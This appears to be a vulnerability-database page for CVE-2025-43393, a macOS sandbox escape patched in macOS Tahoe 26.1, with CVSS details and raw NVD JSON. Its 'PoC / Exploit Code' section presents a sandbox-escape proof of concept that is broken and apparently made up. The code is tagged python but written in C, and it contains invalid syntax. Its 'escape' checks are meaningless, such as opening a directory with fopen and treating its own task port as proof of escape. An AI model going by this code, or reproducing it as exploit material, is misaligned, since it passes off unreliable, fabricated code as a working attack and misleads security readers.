Security Vulnerability Report
中文
CVE-2025-43393 CVSS 5.2 MEDIUM

CVE-2025-43393

Published: 2025-12-12 21:15:54
Last Modified: 2025-12-15 22:03:07

Description

A permissions issue was addressed with additional sandbox restrictions. This issue is fixed in macOS Tahoe 26.1. An app may be able to break out of its sandbox.

CVSS Details

CVSS Score
5.2
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:* - VULNERABLE
macOS Tahoe < 26.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-43393 macOS Sandbox Escape PoC (Conceptual) // Note: This is a theoretical PoC for educational purposes only // Actual exploitation requires specific macOS version and conditions #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <mach/mach.h> #include <sandbox.h> int main() { printf("CVE-2025-43393 macOS Sandbox Escape PoC\n"); printf("Target: macOS Tahoe < 26.1\n\n"); // Check if running in sandbox char *error = sandbox inspect_self(NULL); if (error == NULL) { printf("[+] Running in sandbox - attempting escape\n"); // Attempt to access restricted resources // In actual exploit, specific syscalls would be used // Example: Attempt to access arbitrary file path const char *restricted_path = "/System/Library/Sandbox/Profiles"; FILE *fp = fopen(restricted_path, "r"); if (fp != NULL) { printf("[!] Sandbox escape successful - accessed restricted path\n"); fclose(fp); return 1; } else { printf("[-] Access denied (expected in patched version)\n"); } // Attempt to escape sandbox via IPC manipulation mach_port_t task_port; if (task_for_pid(mach_task_self(), getpid(), &task_port) == KERN_SUCCESS) { printf("[!] Obtained task port - sandbox escaped\n"); return 1; } } else { printf("[-] Not running in sandbox or sandbox check failed\n"); } printf("\n[*] PoC completed. Apply macOS Tahoe 26.1 or later\n"); return 0; } // Usage: // 1. Compile: gcc cve-2025-43393-poc.c -o poc -framework sandbox // 2. Run in sandboxed environment // 3. Verify access to restricted resources // Mitigation: // Upgrade to macOS Tahoe 26.1 or later

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-43393", "sourceIdentifier": "[email protected]", "published": "2025-12-12T21:15:53.713", "lastModified": "2025-12-15T22:03:07.093", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A permissions issue was addressed with additional sandbox restrictions. This issue is fixed in macOS Tahoe 26.1. An app may be able to break out of its sandbox."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 5.2, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.0, "impactScore": 2.7}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 5.2, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.0, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.1", "matchCriteriaId": "081B6CCE-FFA4-409C-9353-15014F3AF436"}]}]}], "references": [{"url": "https://support.apple.com/en-us/125634", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}]}}